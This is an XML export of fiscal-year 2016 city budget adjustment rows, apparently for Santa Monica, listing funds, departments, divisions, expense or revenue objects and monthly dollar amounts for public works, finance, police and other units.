<row _id="21185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>156200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>156200</total></row>
<row _id="21186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>422280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>422280</total></row>
<row _id="21187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>196481</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>196481</total></row>
<row _id="21188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-15980</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15980</total></row>
<row _id="21189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13162</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13162</total></row>
<row _id="21190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-26942</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26942</total></row>
<row _id="21191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-14602</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14602</total></row>
<row _id="21192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288</total></row>
<row _id="21193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>214</total></row>
<row _id="21194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5944</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5944</total></row>
<row _id="21195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7010</total></row>
<row _id="21196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>588</total></row>
<row _id="21197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>286</total></row>
<row _id="21198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>105054</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105054</total></row>
<row _id="21199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>69349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69349</total></row>
<row _id="21200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3100</total></row>
<row _id="21201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22901</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22901</total></row>
<row _id="21202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>178857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>178857</total></row>
<row _id="21203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10700</total></row>
<row _id="21204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533227.0</object><object_description>BLDG/STR MAINT-PARK BLDG</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>189000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>189000</total></row>
<row _id="21205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544220.0</object><object_description>GRAFFITI PROGRAM MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>63000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63000</total></row>
<row _id="21206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555140.0</object><object_description>PEST CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="21207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5290</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5290</total></row>
<row _id="21211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>597</total></row>
<row _id="21212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-16394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16394</total></row>
<row _id="21213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2752</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2752</total></row>
<row _id="21214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>532</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>532</total></row>
<row _id="21215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>360</total></row>
<row _id="21216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-49989</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-49989</total></row>
<row _id="21218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408340.0</object><object_description>URBAN RUNOFF MIT. INSP. ONSITE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25000</total></row>
<row _id="21219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>425</total></row>
<row _id="21220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3382</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3382</total></row>
<row _id="21221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567230.0</object><object_description>PFA 2011B (PSF)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1062800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1062800</total></row>
<row _id="21222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>-360000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-360000</total></row>
<row _id="21223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24800</total></row>
<row _id="21224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27540</total></row>
<row _id="21225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>566440.0</object><object_description>SPECIAL CLEANUP/MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2440</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2440</total></row>
<row _id="21226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>167166</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>167166</total></row>
<row _id="21227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUSTODIAL SUPP-TRIMANA</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5200</total></row>
<row _id="21228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>106000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106000</total></row>
<row _id="21229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544011.0</object><object_description>PALISADES PARK ID PROJECT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2101</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2101</total></row>
<row _id="21231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3264</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3264</total></row>
<row _id="21232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1005</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1005</total></row>
<row _id="21233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>313</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>313</total></row>
<row _id="21234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>451</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>451</total></row>
